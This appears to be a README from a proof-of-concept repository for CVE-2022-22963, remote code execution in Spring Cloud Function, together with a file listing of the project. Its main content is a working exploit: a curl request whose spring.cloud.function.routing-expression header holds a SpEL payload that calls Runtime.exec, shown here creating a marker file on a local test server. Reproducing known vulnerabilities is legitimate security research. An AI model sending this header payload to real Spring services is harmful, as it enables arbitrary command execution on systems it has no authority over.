# CVE-2022-22963 RCE PoC
Minimal example to reproduce CVE-2022-22963 remote code execution in `org.springframework.cloud:spring-cloud-function-core`.
## Exploit
### Run the server
```shell
mvn spring-boot:run
```
### Make a request
```shell
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter
```
As a result of the exploit file `PWNED` will be crated nearby `pom.xml`.
## Additional info
- Original advisory: https://tanzu.vmware.com/security/cve-2022-22963
- Snyk advisory: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645
- This PoC is based on: https://github.com/Pizz33/Spring-Cloud-Function-SpEL
[4.0K] /data/pocs/3f47160a5880b7dc4d4aff8c50b15313dc4e9477
├── [1.4K] pom.xml
├── [ 741] README.md
└── [4.0K] src
└── [4.0K] main
├── [4.0K] java
│ └── [4.0K] com
│ └── [4.0K] example
│ └── [4.0K] demo
│ └── [ 315] DemoApplication.java
└── [4.0K] resources
└── [ 0] application.properties
7 directories, 4 files